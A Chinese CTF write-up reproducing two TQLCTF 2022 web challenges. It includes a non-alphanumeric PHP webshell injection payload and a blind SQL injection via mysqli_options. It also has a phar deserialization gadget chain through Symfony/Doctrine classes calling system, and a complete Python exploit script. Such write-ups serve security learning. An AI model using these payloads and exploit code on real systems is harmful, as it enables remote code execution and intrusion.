tqlctf复现
Simple PHP
确实是一道简单的web签到,但是还是需要一点灵性才行(我最后2h才想到怎么写🤡,555)由于没有环境和源码,就写一些思路吧。首先是好康的那里,抓个包,可以发现能任意文件读取。读取index.php和template.html。关键点:
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
对用户上传的参数进行了一些过滤,意思就是会把输入的东西,替换template.html里面的内容。看一下template.html:
<?php
error_reporting(0);
$a = ~"phpinfo()";
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
其他的要替换的都在html的标签里面。如果能用php标签<?
来包围我们的输入,就可以直接写shell了。但是由于过滤和长度限制,所以搞不了。但是我们发现__USER__
和__PASS__
已经就在php代码里面,那说不定可以利用。由于__PASS__
是md5的值,不可控。所以只能搞__USER__
。除此之外,发现__PUNC__
的字符限制有1k,虽然有过滤,我们可以用无数字字母shell,所以总结一下,用__USER__
把__PUNC__
包含到php源码里面,就可以getshell了。给一下p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
最终payload:在注册的时候post
user=a/*&pass=a&website=a&punctuation=*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$_=$$____;$___($_[_]);/*
然后post传_
即可getshell
SQL_TEST
挺nb的题目,但是寒假直接开摆了(反正不摆也是不会,毕竟菜的一)。直接去磊子哥博客看wp:https://igml.top/2022/02/20/TQLCTF2022/
居然看懂了,讲道理,他博客写的比我好,建议去那看。orz
看一波源码,有个test控制器:
$con = mysqli_init();
$key = $request->query->get('key');
$value = $request->query->get('value');
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
不懂在赣神魔,搜一下mysqli_options
发现
MYSQLI_INIT_COMMAND
似乎可以执行sql语句,在本地可以看到其值为3。所以可以尝试一波sql注入,只能进行时间盲注。但是我们需要rce,所以得想办法写shell,可以发现不能直接用loadfile进行读文件。但是设置了secure_file_priv
,可以用盲注进行获取select @@global.secure_file_priv
。这个定义的文件夹是可以读写的,所以直接往这里写shell就行。但是设置在了/tmp
目录下,绝b不能解析php文件,所以得想点别的办法。除了写shell,还能用反序列化的方式进行rce,而且给了symfony依赖,十有八九是反序列化。这就需要phar了。没想到要直接找源码和看mysql文档🥲。https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html这里有对文件进行操作,然后查一波php源码。在:http://47.96.173.116:8520/php/php-7.4.28/source/ext/mysqlnd/mysqlnd_auth.c#L1122
这个函数里面:
php_stream_open_wrapper
可以解析一些php伪协议,所以可以搞一手phar协议。行,那就可以找一波链子(太久没找php链子,有点不会了)。先找一波__destruct
,由于有不少__wakeup
,所以省了不少功夫。CacheAdapter.php
public function __destruct()
{
$this->commit();
}
跟进commit():
foreach ($this->deferredItems as $key => $item) {
$lifetime = ($item->getExpiry() ?? $now) - $now;
这里明显可以触发一个__call
,搜一下,发现一个似乎可以利用:RedisProxy.php
public function __call(string $method, array $args)
{
$this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);
return $this->redis->{$method}(...$args);
}
可以触发__invoke
,在Dumper.php即可触发任意函数执行:
public function __invoke($var): string
{
return ($this->handler)($var);
}
起飞,直接把反序列化的东西搞一手:
<?php
namespace Symfony\Component\Console\Helper{
class Dumper{
private $handler;
public function __construct()
{
$this->handler = "system";
}
}
}
namespace Symfony\Component\Cache\Traits{
use Symfony\Component\Console\Helper\Dumper;
class RedisProxy{
private $redis;
private $initializer;
public function __construct()
{
$this->initializer = new Dumper();
$this->redis = "/readflag";
}
}
}
namespace Doctrine\Common\Cache\Psr6{
use Symfony\Component\Cache\Traits\RedisProxy;
class CacheAdapter{
private $deferredItems = [];
public function __construct()
{
$this->deferredItems = array(new RedisProxy());
}
}
}
namespace {
$a = new \Doctrine\Common\Cache\Psr6\CacheAdapter();
$phar = new Phar('test.phar');
echo MYSQLI_INIT_COMMAND;
$phar->stopBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($a);
$phar->stopBuffering();
}
然后我们需要写个phar到内个目录里面,然后触发phar即可。在mysqli.php里面可以找到读取公钥文件的设置的定义:
但是好像并不是很能触发。
但是经过尝试发现最终触发失败,回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。
然后直接就有教你怎么删除该缓存:https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored
只需要FLUSH PRIVILEGES
就行。所以直接贴磊子哥的exp:(优化成二分查找了😢)
import requests, string, random, os, time
url = "http://127.0.0.1:7001"
def req(key, value):
resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
return resp
def get_secure_file_priv():
result = ''
i = 1
while (1):
left = 32
right = 128
while (1):
mid = (left + right) // 2
if left == right:
result += chr(left)
print(result)
i += 1
break
payload = 'select if(ascii(substr((select/**/@@global.secure_file_priv),{},1))>{},sleep(1),0)'.format(i,mid)
time1 = time.time()
res = req(3, payload)
time2 = time.time()
if time2 - time1 >= 1:
left = mid + 1
else:
right = mid
if (right == 32):
break
return result
def exp(secure_file_path):
filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
file = os.path.join(secure_file_path, filename)
# write phar file
hex_data = open("test.phar", "rb").read().hex()
command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
req('3', command)
# check file exists
command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
if req('3', command).elapsed.seconds > 1.5:
print("file write fail!")
exit()
# clean the cache
req('3',"FLUSH PRIVILEGES")
time.sleep(2)
# trigger unserialize
resp = req('35', 'phar://' + file)
print(resp.text)
if __name__ == '__main__':
# secure_file_path = get_secure_file_priv()
# print(secure_file_path)
secure_file_path = '/tmp/18efa7b8dc7b457c1a03ca9ec5e992ce/'
exp(secure_file_path)
直接开摆
剩下两题复现的并不是很成功(太菜了😿)。建议去看官方wp